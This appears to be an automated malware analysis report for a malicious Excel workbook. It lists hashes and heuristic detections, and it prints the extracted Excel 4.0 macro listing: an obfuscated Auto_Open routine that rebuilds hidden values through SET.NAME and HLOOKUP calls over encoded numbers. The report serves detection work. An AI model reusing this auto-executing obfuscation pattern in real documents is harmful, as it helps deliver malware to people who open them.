Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 88aad3431295ed84…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:17 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: 8d1cbe206901e0dbcc3395957e5bb989 SHA-1: b380572c64a5bd5aaa25a478a98a9c2aec0f3425 SHA-256: 88aad3431295ed847122a32882952936382036d12e63ddd316785041c70ed894
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6668 bytes
SHA-256: e869b73d3aed6cd64d2f0dda5cbaa9821a0c9f1c1e670a044a4f51276afed6ec
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  xXyr
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G152 
' 0018     26 LABEL : Cell Value, String Constant - CjpjeZqBmHe len=0 
' 0018     25 LABEL : Cell Value, String Constant - dNBeGeSQKy len=0 
' 0018     20 LABEL : Cell Value, String Constant - fXfEk len=0 
' 0018     23 LABEL : Cell Value, String Constant - hcZmiOyc len=0 
' 0018     27 LABEL : Cell Value, String Constant - hQTUQHUfGjyf len=0 
' 0018     23 LABEL : Cell Value, String Constant - hudLJTxo len=0 
' 0018     22 LABEL : Cell Value, String Constant - iHLTmOC len=0 
' 0018     20 LABEL : Cell Value, String Constant - IMltr len=0 
' 0018     26 LABEL : Cell Value, String Constant - jAJEugKgtqd len=0 
' 0018     21 LABEL : Cell Value, String Constant - krqAMA len=0 
' 0018     23 LABEL : Cell Value, String Constant - LLDAJmpe len=0 
' 0018     23 LABEL : Cell Value, String Constant - MkFhKvPR len=0 
' 0018     26 LABEL : Cell Value, String Constant - nQoWVcuXUAA len=0 
' 0018     24 LABEL : Cell Value, String Constant - QbcWAoqqb len=0 
' 0018     22 LABEL : Cell Value, String Constant - SqjsVsi len=0 
' 0018     25 LABEL : Cell Value, String Constant - uxtzeobKJs len=0 
' 0018     26 LABEL : Cell Value, String Constant - vdJHKxwQOEs len=0 
' 0018     27 LABEL : Cell Value, String Constant - VJmUJHxvyZZh len=0 
' 0018     27 LABEL : Cell Value, String Constant - WVwmmzrIKJpv len=0 
' 0018     22 LABEL : Cell Value, String Constant - XDxshwR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  xXyr,G70,"SET.NAME("SqjsVsi",0+VALUE("0"))",""
'  xXyr,G74,"SET.NAME("MkFhKvPR",SqjsVsi)",""
'  xXyr,G76,"SET.NAME("IMltr",SqjsVsi)",""
'  xXyr,G80,"SET.NAME("hudLJTxo",COUNTA(WVwmmzrIKJpv))",""
'  xXyr,R80,"",-724.00000000000000000000
'  xXyr,R81,"",-596.00000000000000000000
'  xXyr,G82,"SET.NAME("CjpjeZqBmHe",COUNTA(uxtzeobKJs))",""
'  xXyr,R82,"",668.00000000000000000000
'  xXyr,R83,"",963.00000000000000000000
'  xXyr,R84,"",623.00000000000000000000
'  xXyr,G85,[],""
'  xXyr,R85,"",919.00000000000000000000
'  xXyr,G90,"SET.NAME("iHLTmOC","")",""
'  xXyr,G92,"MkFhKvPR",""
'  xXyr,G94,"SET.NAME("fXfEk",HLOOKUP("*",WVwmmzrIKJpv,MkFhKvPR,FALSE))",""
'  xXyr,G97,"LLDAJmpe",""
'  xXyr,G101,"SET.NAME("nQoWVcuXUAA",SqjsVsi)",""
'  xXyr,G103,[],""
'  xXyr,G105,"nQoWVcuXUAA",""
'  xXyr,G107,"VJmUJHxvyZZh",""
'  xXyr,G109,"hcZmiOyc",""
'  xXyr,G112,"hQTUQHUfGjyf",""
'  xXyr,G115,"SET.NAME("krqAMA",VALUE(HLOOKUP("*",uxtzeobKJs,hQTUQHUfGjyf,FALSE)))",""
'  xXyr,G118,"vdJHKxwQOEs",""
'  xXyr,G123,"iHLTmOC",""
'  xXyr,G128,"IMltr",""
'  xXyr,G133,NEXT(),""
'  xXyr,G138,"QbcWAoqqb",""
'  xXyr,G140,[],""
'  xXyr,G142,"XDxshwR",""
'  xXyr,G144,NEXT(),""
'  xXyr,G147,RETURN(),""
'  xXyr,G174,"SET.NAME("dNBeGeSQKy",G70)",""
'  xXyr,G178,"WVwmmzrIKJpv",""
'  xXyr,G180,"SET.NAME("uxtzeobKJs",R82C12)",""
'  xXyr,G182,"SET.NAME("XDxshwR",189)",""
'  xXyr,G186,"SET.NAME("jAJEugKgtqd",7)",""
'  xXyr,G188,dNBeGeSQKy(),""
'  xXyr,G189,HALT(),""

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